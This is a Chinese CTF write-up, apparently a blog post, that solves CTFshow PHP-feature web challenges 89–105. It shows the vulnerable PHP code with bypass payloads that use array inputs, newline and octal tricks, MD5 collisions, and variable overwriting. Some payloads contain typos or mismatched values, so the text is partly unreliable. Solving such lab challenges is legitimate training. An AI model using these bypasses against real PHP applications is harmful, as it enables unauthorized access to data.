zoukankan      html  css  js  c++  java
  • CTFshow web入门 (php特性)

    web 89

    <?php
    
    
    include("flag.php");
    highlight_file(__FILE__);
    
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if(preg_match("/[0-9]/", $num)){
            die("no no no!");
        }
        if(intval($num)){
            echo $flag;
        }
    }
    

    构造数组绕过即可

    payload:?mun[]=1

    web 90

    web 91

    <?php
    
    show_source(__FILE__);
    include('flag.php');
    $a=$_GET['cmd'];
    if(preg_match('/^php$/im', $a)){
        if(preg_match('/^php$/i', $a)){
            echo 'hacker';
        }
        else{
            echo $flag;
        }
    }
    else{
        echo 'nonononono';
    }
    
    /i  表示匹配的时候不区分大小写
    
    /m 表示多行匹配,什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号
    

    这里主要的突破点就是/m,我们可以看到第一个preg_match()函数,有个/m,而第二个正则则没有,我们可以利用换行进行绕过

    payload:?cmd=%0aphp

    注:%0a是换行的意思

    web 92

    和web90是一样的

    payload:?num=0x117c

    web 93

    <?php
    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
    

    过滤了字母,十六进制弄不了,那就改八进制

    payload:?num=010574

    4476的八进制为10574

    web 94

    <?php
    
    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(!strpos($num, "0")){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    

    strpos()

    对于strpos()函数,我们可以利用换行进行绕过(%0a)

    payload:?num=%0a010574

    也可以小数点绕过

    payload:?num=4476.0

    因为intval()函数只读取整数部分

    还可以八进制绕过(%20是空格的url编码形式)

    payload:?num=%20010576

    web 95

    <?php
    
    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]|./i", $num)){
            die("no no no!!");
        }
        if(!strpos($num, "0")){
            die("no no no!!!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    

    八进制绕过

    payload:?num=%20010576

    Payload: ?num=+010574

    web 96

    <?php
    
    highlight_file(__FILE__);
    
    if(isset($_GET['u'])){
        if($_GET['u']=='flag.php'){
            die("no no no");
        }else{
            highlight_file($_GET['u']);
        }
    
    
    }
    

    paylaod:?u=./flag.php

    意思就是说显示当前目录下的flag.php文件

    web 97

    <?php
    
    
    include("flag.php");
    highlight_file(__FILE__);
    if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
    if (md5($_POST['a']) === md5($_POST['b']))
    echo $flag;
    else
    print 'Wrong.';
    }
    ?>
    

    md5碰撞

    payload: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

    payload:a[]=1&b[]=1

    web 98

    <?php
    
    include("flag.php");
    $_GET?$_GET=&$_POST:'flag';  
    $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
    $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
    highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
    
    ?> 
    

    稀里糊涂的就出flag了,讲下大概思路

    主要是三元运算符和变量覆盖

    $_GET?$_GET=&$_POST:'flag'; 意思就是说如果存在GET请求,则将POAT请求覆盖掉GET请求

    highlight_file($_GET['HTTP_FLAG']=='flag'?$flag: __FILE __); 意思就是说GET传参HTTP_FLAG的值为flag,则读取flag?

    所以我就构造了GET:?flag=123

    POST:HTTP_FLAG=flag

    然后就得到了flag

    web 99

    <?php
    
    highlight_file(__FILE__);
    $allow = array();
    for ($i=36; $i < 0x36d; $i++) { 
        array_push($allow, rand(1,$i));
    }
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }
    
    ?> 
    

    之后在cat flag36d.php即可

    web 100

    web 104

    <?php
    
    highlight_file(__FILE__);
    include("flag.php");
    
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2)){
            echo $flag;
        }
    }
    
    ?>
    

    类似md5碰撞

    payload:

    GET:v2=1

    POST: v1[]=2

    web 105

    <?php
    
    highlight_file(__FILE__);
    include('flag.php');
    error_reporting(0);
    $error='你还想要flag嘛?';
    $suces='既然你想要那给你吧!';
    foreach($_GET as $key => $value){
        if($key==='error'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }foreach($_POST as $key => $value){
        if($value==='flag'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }
    if(!($_POST['flag']==$flag)){
        die($error);
    }
    echo "your are good".$flag."
    ";
    die($suces);
    
    ?>
    

    先放payload:

    foreach($_GET as $key => $value){
        if($key==='error'){
            die("what are you doing?!");
        }
        $$key=$$value;
    //这是一步变量覆盖,我们传入suces=flag,最终会得到
    //$suces=$flag,就是说将flag赋值给了suces变量
    

    我们可以看到在只有GET请求的时候,报的是error错误,这也就说明我们只要将flag赋值给error变量即可

    foreach($_POST as $key => $value){
        if($value==='flag'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }
    //我们POST传入error=suces,最终得到$error=$suces,结合GET请求,推出$error=$flag,即成功将flag的值赋值给了error变量
    
    
  • 相关阅读:
    sax解析xml案例二
    mysql之删除重复数据
    Android之Intent探究
    struts2之Action名称的搜索顺序
    struts2自定义拦截器二——模拟session超时的处理
    struts2之防止表单重复提交
    Android之日期及时间选择对话框
    sax解析xml案例一
    Android之单选按钮对话框
    查询修改nls_database_parameters系统配置
  • 原文地址:https://www.cnblogs.com/NPFS/p/13798533.html
Copyright © 2011-2022 走看看